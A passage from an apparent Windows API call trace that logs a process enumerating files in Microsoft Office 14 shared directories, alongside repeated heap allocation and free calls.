ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9b60 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeea940 [0048.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4c0) returned 0xeec0e8 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7330) returned 1 [0048.550] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.550] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9b80 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeaa48 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.551] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ba0 [0048.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeab50 [0048.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0048.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0048.552] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0048.552] GetLastError () returned 0x12 [0048.552] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0048.552] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0048.552] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0048.553] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0048.553] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0048.553] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 1 [0048.553] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="")) returned 0 [0048.553] GetLastError () returned 0x12 [0048.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0048.553] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0048.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeea730) returned 1 [0048.553] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.553] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0048.553] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0048.554] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, 